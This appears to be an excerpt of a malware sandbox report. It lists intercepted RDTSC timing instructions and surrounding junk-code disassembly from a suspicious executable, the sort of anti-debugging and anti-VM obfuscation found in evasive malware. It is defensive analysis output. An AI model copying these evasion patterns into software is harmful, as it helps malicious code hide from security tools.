Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E092C2 second address: E092CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E092CC second address: E092D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E092D2 second address: E092D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E092D6 second address: E092E0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C65100586h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E192E6 second address: E19308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E19308 second address: E19313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9C65100586h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E19313 second address: E19322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B2Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E1B14C second address: E1B152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E1B152 second address: E1B173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C644F7B2Ch 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F9C644F7B3Ch 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E1B173 second address: E1B179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E1B179 second address: E1B17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E1DB92 second address: E1DB97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E1DB97 second address: E1DBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007F9C644F7B33h 0x00000010 jmp 00007F9C644F7B30h 0x00000015 pop ecx 0x00000016 push ecx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E2B602 second address: E2B616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F9C6510058Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E2B616 second address: E2B61B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E2B61B second address: E2B62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9C65100586h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E2B62A second address: E2B62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E336B9 second address: E336D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F9C65100599h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E33B2A second address: E33B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9C644F7B26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jc 00007F9C644F7B2Eh 0x00000013 jnc 00007F9C644F7B26h 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E3A200 second address: E3A204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E39CEF second address: E39CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E39E82 second address: E39E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9C65100586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E39E8C second address: E39E9B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F9C644F7B26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E39E9B second address: E39EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4D59B second address: E4D5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 js 00007F9C644F7B26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4D5A9 second address: E4D5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4D5B1 second address: E4D5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4D5B6 second address: E4D5C8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C6510058Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4D5C8 second address: E4D5D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9C644F7B26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4D5D9 second address: E4D5EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9C6510058Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E48554 second address: E48558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E48558 second address: E4855E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E4855E second address: E4856E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9C644F7B26h 0x0000000a ja 00007F9C644F7B26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E5AD01 second address: E5AD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E5AD05 second address: E5AD23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E5AD23 second address: E5AD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100593h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E5AD3A second address: E5AD3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D48F02 second address: D48F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100591h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007F9C65100586h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E738BE second address: E738C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E738C2 second address: E738DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E738DE second address: E738ED instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C644F7B26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E738ED second address: E73904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100591h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E72CF5 second address: E72D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnl 00007F9C644F7B26h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E7313B second address: E7313F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E732F4 second address: E73309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 jno 00007F9C644F7B26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E73309 second address: E73313 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9C6510058Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E734B7 second address: E734E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F9C644F7B37h 0x0000000a jmp 00007F9C644F7B2Dh 0x0000000f ja 00007F9C644F7B26h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E74FAD second address: E74FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E74FB3 second address: E74FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9C644F7B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E77906 second address: E7790D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E7790D second address: E77929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C644F7B37h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E77B7B second address: E77B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E77B81 second address: E77B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E7901F second address: E79024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E7AC13 second address: E7AC4C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9C644F7B28h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9C644F7B30h 0x00000017 push edx 0x00000018 jmp 00007F9C644F7B35h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E7AC4C second address: E7AC62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F9C65100590h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E7AC62 second address: E7AC6B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70E4F second address: 4D70E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70E54 second address: 4D70E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9C644F7B32h 0x00000009 xor ax, 0288h 0x0000000e jmp 00007F9C644F7B2Bh 0x00000013 popfd 0x00000014 mov bl, al 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9C644F7B2Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70E92 second address: 4D70E98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70E98 second address: 4D70EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C644F7B2Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9C644F7B2Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70EBB second address: 4D70EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C65100594h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D60CB8 second address: 4D60CDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ah, dh 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C644F7B35h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DB001B second address: 4DB0021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DB0021 second address: 4DB007D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9C644F7B34h 0x00000013 add cx, 64F8h 0x00000018 jmp 00007F9C644F7B2Bh 0x0000001d popfd 0x0000001e mov si, CA2Fh 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F9C644F7B35h 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b pushad 0x0000002c movzx esi, bx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DB007D second address: 4DB0090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebx, 3521AE88h 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DB0090 second address: 4DB0096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DB0096 second address: 4DB00A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C6510058Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D400B2 second address: 4D400B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D400B8 second address: 4D400BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D400BE second address: 4D400C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D400C2 second address: 4D400C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D400C6 second address: 4D400E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C644F7B35h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D400E6 second address: 4D4012E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov si, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9C6510058Eh 0x00000016 sbb cl, FFFFFFF8h 0x00000019 jmp 00007F9C6510058Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9C65100595h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D4012E second address: 4D4014C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D4014C second address: 4D40152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40152 second address: 4D4018A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d movzx eax, di 0x00000010 mov edi, 4B84827Eh 0x00000015 popad 0x00000016 push dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F9C644F7B30h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D4018A second address: 4D4019C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C6510058Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D4019C second address: 4D401A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D60A2A second address: 4D60A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D60A30 second address: 4D60A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D60A34 second address: 4D60A4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D60431 second address: 4D60435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D60435 second address: 4D6043B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D6043B second address: 4D6044C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bl, al 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D6044C second address: 4D60469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C65100599h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D602A7 second address: 4D602AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7007B second address: 4D7007F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D7007F second address: 4D70083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70083 second address: 4D70089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D803A6 second address: 4D803AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D803AC second address: 4D803B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
